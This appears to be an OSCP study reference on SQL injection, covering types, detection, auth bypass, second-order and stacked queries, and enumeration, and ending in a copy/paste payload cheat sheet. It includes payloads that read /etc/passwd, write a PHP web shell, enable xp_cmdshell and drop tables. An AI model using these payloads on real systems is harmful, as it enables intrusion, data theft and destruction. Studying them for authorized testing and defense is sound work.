SQL Injection — Hub & Reference
What is SQL Injection?
SQL Injection (SQLi) occurs when user input is incorporated into a SQL query without proper sanitization, letting an attacker change the query’s logic. Impact ranges from reading database contents all the way to OS command execution.
SQLi Types — Overview
SQL Injection
├── In-Band (results returned in the HTTP response)
│ ├── Union-Based → use UNION SELECT to pull data into the response
│ └── Error-Based → trigger DB errors that contain data in their message
│
├── Inferential / Blind (no data in response — infer from behavior)
│ ├── Boolean-Based → True/False questions: does page change?
│ └── Time-Based → SLEEP/WAITFOR: does page respond slowly?
│
├── Out-of-Band (data exfil via DNS or HTTP to attacker server — rare on OSCP)
│
└── Special
├── Second-Order → payload stored, executed later in a different query
└── Stacked → inject multiple statements separated by ;
| Type | Data Returned? | Speed | Notes |
|---|---|---|---|
| Union-Based | Yes (in response) | Fast | Need to know column count + printable columns |
| Error-Based | Yes (in error message) | Fast | DB must display errors |
| Boolean Blind | No (page behavior) | Slow | Bit-by-bit extraction |
| Time-Based Blind | No (response delay) | Slowest | Works even when page looks identical |
| Second-Order | Yes/No | Varies | Harder to find — check profile, settings, etc. |
OSCP strategy: Always try Union-Based first. If no errors and no visible change → Boolean blind. If still nothing → Time-based. Use SQLMap to automate if manual is taking too long.
📌 1) Detection — Finding SQLi
Step 1 — Identify injection points
Any user-supplied value that touches a query:
- GET parameters:
?id=1,?search=test,?page=home - POST form fields: login forms, search boxes, profile updates
- HTTP headers:
User-Agent,Referer,X-Forwarded-For,Cookie - JSON/XML body parameters
Step 2 — Basic probes
' → syntax error? (most common indicator)
'' → no error (confirms quote is meaningful)
" → try double-quote variant
`) → close parenthesis variant
\ → escape test
; → statement terminator (stacked query)
Step 3 — Behavior-based confirmation
-- Numeric context
1 OR 1=1
1 AND 1=2
1+1 → if result is "2" → numeric injection
-- String context
' OR '1'='1
' AND '1'='2
-- Comment styles (try all if one doesn't work)
-- (MySQL, MSSQL, PostgreSQL)
# (MySQL only — URL encode as %23)
/* (C-style block comment — all DBs)
-- - (SQLite, if space matters)
;-- (MSSQL with stacked queries)Step 4 — Confirm the DB is injectable (ORDER BY trick)
-- Find the number of columns by increasing ORDER BY until error
?id=1 ORDER BY 1-- fine
?id=1 ORDER BY 2-- fine
?id=1 ORDER BY 3-- fine
?id=1 ORDER BY 4-- ERROR → 3 columnsStep 5 — Identify the database type
-- Each DB has unique functions
SELECT version() -- MySQL, PostgreSQL
SELECT @@version -- MySQL, MSSQL
SELECT @@SERVERNAME -- MSSQL
SELECT banner FROM v$version -- OracleError messages often reveal DB type automatically.
📌 2) Authentication Bypass
Inject into the username field to short-circuit the WHERE clause:
-- Classic bypass (always true)
' OR 1=1--
' OR '1'='1'--
' OR 'a'='a
admin'--
admin' #
admin'/*
-- MSSQL syntax
admin'--
' OR 1=1--
-- Variations
') OR ('1'='1
') OR 1=1--
' OR 1=1 LIMIT 1--
1 OR 1=1Vulnerable query:
SELECT * FROM users WHERE username='INPUT' AND password='INPUT'
-- Injecting admin'-- makes it:
SELECT * FROM users WHERE username='admin'--' AND password='...'
-- The password check is commented out → logged in as adminCommon patterns to try:
| Field | Payload |
|---|---|
| Username | admin'-- |
| Username | ' OR 1=1-- |
| Username | admin'# |
| Password | anything (when username already bypasses) |
| Both fields | ' OR '1'='1 in both |
📌 3) Second-Order (Stored) SQLi
The malicious payload is stored in the database first, then executed later when it’s fetched and used in another query — without sanitization at the point of use.
How it works
1. Register username: admin'--
→ Application sanitizes input: admin''-- (escaped, no injection yet)
→ Stored in DB as: admin'-- ← the raw value is stored
2. Later, password-change feature fetches username and puts it in a query:
UPDATE users SET password='new' WHERE username='admin'--'
→ The -- comments out the rest → updates ALL passwords!
Common locations
- Username field used in later queries (profile update, password change, email template)
- “Remember me” or session tokens
- Search history stored and re-used
- Saved filters / reports
Detection approach
1. Register with payload as username: admin'--
2. Trigger the stored value being used:
- Change password
- Update profile
- View order history
- Any feature that queries your own data
3. Observe unexpected behavior → confirms second-order
Example
-- Stored username: ' UNION SELECT username,password FROM users--
-- Later used in:
SELECT * FROM products WHERE category='[stored_value]'
-- Becomes:
SELECT * FROM products WHERE category='' UNION SELECT username,password FROM users--'📌 4) Stacked Queries
Execute multiple SQL statements by separating with ;. Depends on the language/DB driver allowing it.
Supported: MSSQL ✅, PostgreSQL ✅, MySQL (with certain drivers) ✅, Oracle ❌
-- Run a second query
'; SELECT sleep(5)-- (MySQL)
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
'; CREATE TABLE pwned(a text)--
'; EXEC xp_cmdshell 'whoami'-- (MSSQL — if xp_cmdshell enabled)
'; DROP TABLE users--📌 5) Database Fingerprinting
Use these to identify the backend database:
-- MySQL
SELECT @@version
SELECT user()
SELECT database()
' AND SLEEP(5)--
-- MSSQL
SELECT @@version
SELECT @@SERVERNAME
SELECT DB_NAME()
' AND 1=CONVERT(int,(SELECT @@version))-- (error-based fingerprint)
-- PostgreSQL
SELECT version()
SELECT current_database()
SELECT pg_sleep(5)
-- Oracle
SELECT banner FROM v$version
SELECT user FROM dual
-- Uses DUAL, not information_schema
-- SQLite
SELECT sqlite_version()📌 6) Key System Tables (Enumeration)
MySQL / MariaDB
-- Databases
SELECT schema_name FROM information_schema.schemata
-- Tables in a database
SELECT table_name FROM information_schema.tables WHERE table_schema='dbname'
-- Columns in a table
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- All in one
SELECT table_schema,table_name,column_name FROM information_schema.columns
-- Current user and DB
SELECT user(), database(), version()MSSQL
-- Databases
SELECT name FROM master..sysdatabases
SELECT name FROM sys.databases
-- Tables
SELECT table_name FROM information_schema.tables
SELECT name FROM dbname..sysobjects WHERE xtype='U'
-- Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Current user and DB
SELECT system_user, db_name(), @@version
-- Impersonation (if IMPERSONATE granted — privesc path)
'; EXECUTE AS LOGIN = ''sa''; SELECT SYSTEM_USER--
'; EXECUTE AS USER = ''dbo''; SELECT USER_NAME()--
'; REVERT--→ impacket shell: enum_impersonate · exec_as_login · exec_as_user → MSSQL
PostgreSQL
-- Databases
SELECT datname FROM pg_database
-- Tables
SELECT tablename FROM pg_tables WHERE schemaname='public'
-- Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Current user and DB
SELECT current_user, current_database(), version()Oracle
-- Tables (current user)
SELECT table_name FROM user_tables
-- All tables
SELECT owner,table_name FROM all_tables
-- Columns
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
-- Current user
SELECT user FROM dual📌 7) Quick OSCP Methodology
1. Find input parameter → test with '
2. Get error?
YES → Error-Based (see [[Union Based SQLi]])
NO → Try UNION-based:
?id=1 ORDER BY 1,2,3... until error → find column count
?id=0 UNION SELECT NULL,NULL,NULL...
YES → Union-Based (see [[Union Based SQLi]])
NO → Blind:
AND 1=1-- vs AND 1=2-- → different? Boolean Blind
AND SLEEP(5)-- → slow? Time-Based Blind
(see [[Blind SQLi]])
3. Once injectable → enumerate with SQLMap (see [[SQLMap]])
sqlmap -r request.txt --dbs --batch
WebSocket app? SQLMap needs HTTP — confirm SQLi in [[Burp Suite]] WS Repeater,
then local HTTP→WS bridge → sqlmap -u "http://127.0.0.1:8081/?id=1" --batch
4. Escalate:
- File read → LOAD_FILE('/etc/passwd') [MySQL]
- File write → INTO OUTFILE '/var/www/html/shell.php' [MySQL]
- File copy → LOAD_FILE('...') INTO OUTFILE '...' [MySQL — see [[MySQL]]]
- OS command → xp_cmdshell 'whoami' [MSSQL]
📌 Quick OSCP Cheat Sheet (Copy/Paste)
-- ─── DETECTION ────────────────────────────────────────────────
'
''
' OR 1=1--
' AND 1=2--
' ORDER BY 1--
' ORDER BY 100-- (error = found column count boundary)
-- ─── AUTH BYPASS ──────────────────────────────────────────────
admin'--
' OR 1=1--
' OR '1'='1'--
-- ─── DB FINGERPRINT ───────────────────────────────────────────
' AND SLEEP(5)-- MySQL
' AND 1=CONVERT(int,(SELECT @@version))-- MSSQL (error-based)
' AND 1=1 AND pg_sleep(5)-- PostgreSQL
-- ─── UNION COLUMN COUNT ───────────────────────────────────────
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (error = 2 cols)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
-- ─── UNION DATA EXTRACTION (3 cols, col 1 printable) ──────────
' UNION SELECT database(),NULL,NULL--
' UNION SELECT user(),NULL,NULL--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password,NULL FROM users--
-- ─── BLIND BOOLEAN ────────────────────────────────────────────
' AND 1=1-- (true)
' AND 1=2-- (false)
' AND SUBSTRING(user(),1,1)='r'--
-- ─── BLIND TIME ───────────────────────────────────────────────
' AND SLEEP(5)-- MySQL
'; WAITFOR DELAY '0:0:5'-- MSSQL
' AND 1=1 AND pg_sleep(5)-- PostgreSQL
-- ─── FILE READ / WRITE (MySQL) ────────────────────────────────
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--
' UNION SELECT "<?php system($_GET['cmd']); ?>",NULL,NULL INTO OUTFILE '/var/www/html/shell.php'--
' UNION SELECT LOAD_FILE('C:/Users/Administrator/Desktop/proof.txt'),NULL,NULL INTO OUTFILE '/TEMP/proof.txt'--
-- ─── MSSQL RCE ────────────────────────────────────────────────
'; EXEC xp_cmdshell 'whoami'--
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--